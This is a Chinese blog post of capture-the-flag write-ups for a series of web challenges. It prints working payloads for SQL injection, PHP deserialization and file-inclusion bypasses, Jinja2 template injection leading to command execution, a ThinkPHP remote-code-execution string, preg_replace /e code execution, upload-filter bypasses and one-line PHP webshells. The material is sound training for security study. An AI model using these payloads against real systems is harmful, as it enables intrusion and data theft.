ctf(2)-攻防世界web高手进阶区

baby_web

web请求头中的location作用

步骤

1.根据提示,在url中输入index.php,发现打开的仍然还是1.php
2.打开火狐浏览器的开发者模式,选择网络模块,再次请求index.php,查看返回包,可以看到location参数被设置了1.php,并且得到flag。

Training-WWW-Robots

过于简单,略

ics-06

目的:掌握burp的爆破功能

步骤

1、进入系统,依次点开各个页面,发现只有云平台报表中心可以跳转。
2、尝试SQL注入,无果
3、观察URL,发现URL中传递了参数id,尝试进行id爆破
4、爆破得到id为2333,更改id,得到flag

这里附上生成id字典的python代码,XXXX为id的最大值

for m in  range (XXXX):
    print(m)

Cat

原理

命令执行、报错页面导致信息泄漏、暴力破解
phpcurl 组件、ASCII%7f 边界值(ASCII 编码分常用 ASCII 编码(1个字节的7位bit表示)和扩展ASCII编码(不常用的特殊字符),边界值为%7f)

步骤

1.尝试输入 127.0.0.1,发现执行了 Ping 命令
2.尝试命令执行 127.0.0.1&ls,报错,说明对关键字符串做了限制
在这里插入图片描述

3.burp 对关键字符串爆破,发现只有@没有被限制,联想到 php 的 phpcurl 组件,在请求前面加上@可以用来读取文件,但是对php的版本有要求(当然是大佬才能联想到orz)
在这里插入图片描述

4.构造http://220.249.52.133:36810/index.php?url=%80,发现报错是一段html代码,将这些代码复制出来打开。
5、看到了熟悉的django报错页面(菜鸡表示没看过),看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。
在这里插入图片描述
6、结合django的报错得知了项目的绝对路径为/opt/api

这里还需要懂一些django开发的基本知识(真的是太难了TT),django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
7、读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
在这里插入图片描述
同上将报错信息已html文件打开,可看到一些敏感信息:
在这里插入图片描述
8、同样再使用@读取数据库信息
在这里插入图片描述
9、在报错信息中搜索CTF得到flag。
最后,大佬牛逼!!!

warmup

原理

php代码审计
白名单验证
PHP函数:
mb_substr(string $str,int $start,int $length):返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
mb_strpos (haystack ,needle ): 返回要查找的字符串在别一个字符串中首次出现的位置。haystack:要被检查的字符串。needle:要搜索的字符串。

步骤

1、打开题目,f12发现:< !–source.php-- >

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

2、访问hint.php:
flag not here, and flag in ffffllllaaaagggg
备用
3、对代码进行审计,发现截取这里可以进行攻击。随即构造payload:
file=source.php%253f/…/…/…/…/…/ffffllllaaaagggg
或file=source.php?/…/…/…/…/…/ffffllllaaaagggg
4、传参,获得flag

upload1

方法一:上传时先将一句话木马文件后缀改为jpg或png,burp拦截修改文件后缀,菜刀连接
方法二:查看是否有js代码,发现有,发现有白名单,在HTML中删除disabled,成功上传,菜刀连接

Web_php_unserialize

原理

代码审计

php序列化和反序列化:
序列化 (Serialization):是将对象的状态信息转换为可以存储或传输的形式的过程。
反序列化:将二进制数据换回原对象。

当对一个对象序列化时,serialize() 会检查类中是否有魔术名称 __sleep 的函数,如果存在的话,该函数将在任何序列化之前运行。它可以清除对象(关闭对象可能具有的任何数据库连接)并应该返回一个包含有该对象中应被序列化的所有变量名的数组;

在反序列化时,unserialize() 会检查类中是否有魔术名称 __wakeup 的函数的存在。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

wakeup()漏洞(PHP5 < 5.6.25, PHP7 < 7.0.10 的版本):
wakeup()漏洞与属性个数有关。当序列化字符串标识对象属性个数大于真实属性的个数时就会跳过wakeup的执行,因此,需要修改序列化字符串中的属性个数。

正则表达式

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
步骤

1、直接分析代码
在类Demo中有三个方法,一个构造,一个析构,还有就是一个__wakeup魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。

在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要利用wakeup()漏洞进行绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

这里的正则匹配的意思是:首字母为o或c,冒号,一个或多个数字,冒号,忽略大小写(O:数字或者C:数字这样的形式),成功则提示stop hacking,失败则反序列化var变量。

2、审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了。
index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
实现代码如下:

<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
    $this->file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}
$a = new Demo("fl4g.php");
$b=serialize($a); 
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b); 
//O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
echo base64_encode($b);
?>

这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。

类似的还有 protected 类型的变量,序列化之后字符串首部会上%00*%00。

unserialize3

原理

序列化与反序列化,代码审计

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
步骤

1、先进行序列化操作

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo (serialize($a));
?>

2、得到序列化字符串:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
3、将1改成2,源码提示传参code,将修改后的序列化字符串作为参数值,得到flag。

Web_php_include

原理

代码审计,文件包含,php伪协议,data伪协议
上源码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

1、strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

2、php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流,可以实现POST请求等。
php://filter用于读取源码,可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php。
有关php://的其他内容请参考https://www.php.net/manual/zh/wrappers.php.php,这里只需用到php://input。

3、data伪协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data伪协议只有在php<5.3且include=on时可以写木马。

步骤

方法一:php伪协议
1、题目要求进行文件包含,但是却没有给出具体的 flag 文件名称。而且过滤了php://,推测是通过 include 实现任意代码执行。这里的str_replace()的过滤可以使用大小写或双写绕过。
2、使用php://input实现POST请求,执行如下语句得到flag所在文件。
在这里插入图片描述

3、再cat该文件得到flag。
在这里插入图片描述
方法二:data伪协议

http://111.198.29.45:41343/index.php?page=data://text/plain,<?system('ls -l');?>
http://111.198.29.45:41343/index.php?page=data://text/plain,<?system('cat fl4gisisish3r3.php');?>

 http://111.198.29.45:41343/index.php?page=data://text/plain,<?show_source('fl4gisisish3r3.php');?>

NewsCenter

原理

SQL注入(手动与sqlmap均可)

步骤

1、输入数字1,返回内容(2、4、5也是)
2、尝试 1’ or 1=1#,果然返回了当前表单的全部内容,由此判断存在注入点
3、猜字段数:1’ order by 3#或1’ union select 1,2,3#,发现2,3有回显,所以可以在2,3的位置获得信息
4、获取表单信息:
1’ union select 1,2,table_name from information_schema.tables #
最底下看到secret_table表单,猜测存有flag信息
5、获取表单的column信息:
1’ union select 1,2,column_name from information_schema.columns where table_name=‘secret_table’#
看到fl4g
6、最后,查询数据,得到flag:
1’ union select 1,2,fl4g from secret_table#

PHP2

原理

index.phps,简单的代码审计
phps是php的源代码文件

步骤

1、访问http://111.198.29.45:45191/index.phps 得到主页源代码,如下

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

2、代码审计,因为传参时浏览器会自动进行一次url解码,所以只要用url编码两次admin再传参就行了。
3、访问http://111.198.29.45:45191/index.php?id=%2561%2564%256d%2569%256e 得到flag。
在这里插入图片描述

mfw

原理

git源码泄露(/.git),githack
githack使用方法:在githack目录下 python GitHack.py http://*******/.git(注意git前一般有个点)
运行完成后在githack目录下生成目标文件夹

assert函数:
assert ( mixed $assertion [, string $description ] ) : bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动

步骤

1、打开题目后,点击About页面,发现网站使用Git、PHP、Bootstrap搭建而成,访问.git,发现存在源码泄露。在这里插入图片描述
2、上githack
在githack目录下 python GitHack.py http://220.249.52.133:39137/.git
3、查看源码中的flag.php文件,其中并没有flag,审计index.php文件,关键代码如下

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

page没有经过任何过滤和处理,所以可以尝试命令执行
3、测试下能否执行系统函数system()

4、payload1:$page= ‘.system(“cat templates/flag.php”).’(//)
然后源码中的判断变成了下面这样:

assert("file_exists('templates/'.system("cat templates/flag.php").'.php')") or die("That file doesn't exist!");

如此一来就会执行system(“cat templates/flag.php”),按F12查看源码(cat后不回显),得到flag

5、payload2:$page=abc’) or system(“cat templates/flag.php”);//
然后源码中的判断变成了下面这样:

assert("strpos('templates/abc') or system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");

//后面的都被注释,所以执行了system函数,按F12查看源码得到flag。

web2

原理

代码审计,源码如下:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

strrev():反转字符串。
str_rot13():对字符串执行 ROT13 编码。
ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。

步骤

编写下面的php代码:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=base64_decode(strrev(str_rot13($miwen)));
function decode($str){
	$_o=base64_decode(strrev(str_rot13($str)));
	for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
	$mingwen=strrev($_);
	return $mingwen;
}
echo decode($miwen);
?>

执行,得到flag。

supersqli

原理

sql手动注入,handler查询,堆叠注入
handler查询:mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
使用方法:
handler table_name open打开一张表,
handler table_name read first读取第一行内容,
handler table_name read next依次获取其它行。
最后一行执行之后再执行handler table_name read next会返回一个空的结果。

步骤

1、输入1‘,报错,说明是字符型注入;
2、尝试普通的select查询,无果,发现被过滤;
在这里插入图片描述
3、尝试堆叠注入show语句,输入1’;show tables;#发现有两张表
在这里插入图片描述
4、1‘;show columns from 1919810931114514#(字符串为表名时要加反引号,这里加了之后有特殊效果显示不出来)
在这里插入图片描述
5、因为这里过滤了select,所以接下来使用handler查询,语句如下:
1’;handler 1919810931114514 open;handler 1919810931114514 read first;#
得到flag。在这里插入图片描述

NaNNaNNaNNaN-Batman

原理

js代码审计,eval()函数,console.log(),在正则表达式中,^表示匹配开头,$表示匹配结尾。
eval函数:把一段字符串传递给JS解释器,由Javascript解释器将这段字符串解释成Javascript代码,并且执行。语法为 eval(string),string 必需。要计算的字符串,其中含有要计算的 JavaScript 表达式或要执行的语句。
console.log():用于在控制台输出信息。

步骤

1.下载附件,用Sublime Text打开文件可以发现是一段javascript代码,并且包含大量控制字符,如图所示在这里插入图片描述
2、猜测是前面代码中的一些字符被eval计算了,所以乱码。
3、将eval函数改为alert()即可将原函数弹出来。

function $() {
    var e = document.getElementById("c").value;
    if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
        var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1);
        }
    }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _;

4、这就是原本的js代码,继续审计代码。
只要e的规则符合长度为16并且以be0f23开头以e98aa结尾并且需要匹配233ac和c7be9即可。
这样的字符串就是be0f23ac7be98aa
5、在控制台输入js代码,将字符串输入至输入框中即可得到Flag。
在这里插入图片描述

(其实运行下面这段js代码也能得到Flag,直接运行js代码中的条件过滤后执行的语句)

var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1);
        }

Web_python_template_injection

原理

1、模块注入(SSTI漏洞):服务器模板中拼接了恶意用户输入,将一串指令代替变量传入模板中让它执行,造成一系列的漏洞。
2、jinja2:Flask作者开发的一个模板系统

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

3、python中的一些特殊方法:

__class__ : 返回当前对象所属的类
__mro__:返回当前类对象所有继承的基类
__base__ : 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ (): 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用

4、用 python 语句获取控制台权限:os.systemos.popen

步骤

1、测试一下是否存在模板注入,构造

http://220.249.52.133:49224/%7B%7B7*7%7D%7D

回显URL http://111.198.29.45:46675/49 not found说明7*7被执行了。所以存在模板注入。
2、接下来,开始想办法编代码拿到服务器的控制台权限。
首先,找到当前变量所在的类:111.198.29.45:46675/{{''.__class__}},两个单引号的意思是传入变量为空,然后返回''.__class__,这里用了{{}}包裹变量,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换,下同。
3、接下来,从这个类找到它的基类:
http://111.198.29.45:46675/{{''.__class__.__mro__}},返回URL http://111.198.29.45:46675/(<type 'str'>, <type 'basestrin g'>, <type 'object'>) not found
4、然后,通过基类来找其中任意一个基类的引用列表:
http://111.198.29.45:46675/{{''.__class__.__mro__[2].__sub classes__()}},服务器回复了很长的一个列表,从其中可以找到我们想要
os 所在的 site._Printer 类,它在列表的第七十二位,
__subclasses__()[71]

#python 2
num=0
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1

(以上代码放到kali中运行 ,也能得到site._Printer(71)
5、通过http://111.198.29.45:46675/{{''.__class__.__mro__[2].__sub classes__()[71].__init__.__globals__['os'].popen('命令行语句').read()}} 来 调用服务器的控制台并显示,这下我们就可以随便用
控制台输出了。
6、在命令行语句位置依次执行,ls,cat fl4g得到flag。
(这里还可以用file读取文件,{{''.__class__.__mro__[2].__subclasses__()[40]('文件路径').read()}})
划重点
上面的解法笔者在题目环境里试了很久,发现用上面的解法得不到flag,于是考虑以下的payload,得到flag。

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
或{{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
我发现75改成其他数字也可以执行

php_rce

thinkphp5框架漏洞,上payload:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令行语句

但是不知道为什么跑不出来,可能是环境的问题,就当是多认识了一种框架漏洞吧。

ics-05

原理

php://filter伪协议获取文件源码
preg_replace函数漏洞利用:preg_replace( pattern , replacement , subject ) :
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码会被当作PHP代码执行

步骤

1、题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”,在后面添加login.php 无果,再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index 存在get传值。
在这里插入图片描述
2、page的参数联想到可能存在文件包含漏洞,尝试读取index.php的源码,采用php伪协议:
?page=php://filter/read=convert.base64-encode/resource=index.php
(为什么中间要转base64编码,如果不转码,则相当于进行请求网页)
输入payload得到一段base64在这里插入图片描述
解码得到关键代码:

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}

3、伪造XFF头来登入系统,同时利用preg_replace函数的漏洞,于是构造payload:
/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123
”+“号在url中会被解释成空格号,这里用%20也行
在这里插入图片描述
4、/index.php?pat=/123/e&rep=system("ls+./s3chahahaDir/flag")&sub=123
在这里插入图片描述
5、/index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
在这里插入图片描述
得到flag。

ics-04

步骤

1.打开站点发现主要功能有:登录、注册、找回密码

2.刚开始帐号密码都没有,不可登录。在找回密码页面存在简单的POST类型注入,注入点为username。

3.使用sqlmap进行注入,得到cetc004库、user表、answer、password、question、username列的信息。

sqlmap -u “http://111.198.29.45:31699/findpwd.php” --data=“username=1” -D cetc004 -T user --columns

4。查看具体信息,得到
用户名 c3tlwDmIn23
密码 1qazWSXED56yhn8ujm9olk81wdfTG

5、密码应该是经过了md5加密,但是这里可以对该管理员用户进行重新注册,重新注册后登录得到flag。在这里插入图片描述

ics-07

步骤

1、view source
2、代码审计:

 <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>



    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

第1个需要满足SESSION['admin']==true才行,因此看第2个php

3、满足这个 isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'即可让$_SESSION['admin']==true,大概的意思就是存GET变量id,并且他的浮点数不等于1,且最后一位为9的字符串,‘1-9’即可满足。在这里插入图片描述
4、成功绕过,然后看看第二段代码,意思就是以post方式上传文件,post变量file代表文件名,con代表文件内容,且后缀名经过正则过滤了,然后上传路径原本在根目录下的/backup/目录下面,由于加了个chdir()函数,因此将根目录后面加上了/uploaded/目录,然后在跟/backup/目录。

最后的上传目录为:
/uploaded/backup/
5、正则的话是判断.之后的字符,因此我们可以利用‘/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。payload为:file=p.php/.&con=<?php @eval($_POST['123']);?>,上菜刀。在这里插入图片描述

shrine

原理

SSTI漏洞(flask框架)

步骤

1、打开页面就是一段源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

2、明显是个 flask 在 /shrine/ 下的 SSTI
3、而且对 payload 进行了过滤:对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单
4、如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。因此构造payload{{url_for.__globals__['current_app'].config.FLAG}}{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
5、传入/shrine/payload得到flag。
附上SSTI漏洞比较全面的一篇文章:
SSTI

easytornado

tornado是python中的一个web应用框架。

步骤

1、拿到题目发现有三个文件:在这里插入图片描述

/flag.txt
flag in /fllllllllllllag

发现flag在/fllllllllllllag文件里;

/welcome.txt
render

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。考虑存在模板注入。

/hints.txt
md5(cookie_secret+md5(filename))

filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
2、测试后发现还有一个error界面,格式为/error?msg=Error在这里插入图片描述
怀疑存在服务端模板注入攻击 (SSTI),尝试{{11}},有回显11,因此确实存在该漏洞。
3、接下来获取cookie_secret:
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret: /error?msg={{handler.settings}},得到cookie_secret。在这里插入图片描述
4、计算filehash值:

import hashlib

filename = '/fllllllllllllag'
cookie_secret ="d5ff8860-aca4-4efd-aa62-18119cdbfcfe"

def getvalue(string):
    md5 = hashlib.md5()
    //md5.update会将每次字符串拼接,每次使用update之前都要重新定义:md5=hashlib.md5()
    md5.update(string.encode('utf-8'))
    //x.update(y) 把集合 y 中的项目插入集合 x
    //Unicode-objects must be encoded before hashing
    return md5.hexdigest()
    //返回16进制

def merge():
    print(getvalue(cookie_secret + getvalue(filename)))

merge()

或者在线MD5加密网站进行两次加密即可。
payload:file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag)),得到flag。

fakebook

原理

sql注入,反序列化,ssrf
(手动与自动相结合,这里的自动采用的是burp抓包另存为txt文件再用sqlmap -r的注入方式)

步骤

1、进入之后为注册和登录页面
在这里插入图片描述
注册账号时,发现有POST注入(burp抓包保存为txt,sqlmap跑一下)
在这里插入图片描述

2、获取fakebook数据库内容,最后得到在这里插入图片描述
可以看到被序列化了。
3、登录后页面如下在这里插入图片描述
可以看到blog里的内容会被内联到一个iframe框里。大概的思路为,我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。

4、继续看登录页面,修改n0=0直接爆出绝对路径。
在这里插入图片描述

5、扫描域名下的目录,存在robots.txt和flag.php,猜测flag在flag.php文件里。
在这里插入图片描述
以bak为文件后缀,可以看到是备份文件。在域名后面加上/user.php.bak,下载文件得到user.php源码,如下:

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

get()方法没有对获取过来的url进行任何的过滤所以这里存在SSRF。

但是可以看到isValidBlog ()方法对注册页面的blog输入内容作出了正则过滤,必须是http(s)协议,所以试图在注册页面blog列通过file://var/www/html/flag.php然后在登录页面直接查看内容是不可取的。

6、回到登录页面,发现no参数存在get注入,所以虽然注册页面读取flag.php行不通,我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的包含文件路径的payload,带入SQL查询即可。fuzz发现,空格被过滤,但是可以用/**/绕过。测试发现有4个字段。先进行序列化。

<?php

class UserInfo
{
    public $name="123";
    public $age=19;
    public $blog="file:///var/www/html/flag.php";
    
}
$data = new UserInfo();
echo serialize($data);
?>

得到O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
因此构造payload?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',查看源码的iframe框架,得到flag。

bug

原理

逻辑漏洞,各种绕过

步骤

1、打开页面,首先是注册,注册后点击manage,发现要管理员权限
在这里插入图片描述
2、所以尝试能不能获取到管理员账号,注册那里输入admin,但是告诉我admin已经被注册过了,所以管理员账号就是admin,现在只需要知道管理员的pwd(附:在各个界面都尝试了sql注入,无果)
3、退出后有个findwd功能在这里插入图片描述
输入我们注册的账号信息,得到如下:
在这里插入图片描述
这里抓一下包,拦截发现是通过post传参提交到后台进行验证的,所以尝试修改username为admin,密码修改为自己的密码,结果发现真的可以。在这里插入图片描述
4、修改后成功登录,点manage,发现ip不对,那就伪造X-Forwarded-For:127.0.0.1,成功,但是好像没什么有用的东西,查看源码。

5、猜想这应该是一些隐藏的操作,我们 构造paylaod为 index.php?module=filemanage&do=download,或者upload/read/write…
最后发现do=upload能够执行成功,出现一个文件上传的页面。
在这里插入图片描述
6、上传一句话木马php文件,失败,猜测是前端js限制,发现不是,那猜测对.php做了限制,看了网上一些常见可用作php解析的后缀 php3,php5,php7,pht,phtml,我同过抓包修改上传的文件后缀为 .php5,结果还是不给过,显示这不是一张图片:在这里插入图片描述
抓包修改Content-Type:为image/jpeg,但是还是被检测出来了是上传php文件,应该是<?php ?>这个被检测出来了。
那就修改文件内容,据了解可以通过 <script language="php"> highlight_file(__FILE__);system($_GET['cmd']);</script>,也能达到解析php语句的目的。在这里插入图片描述
得到flag。在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值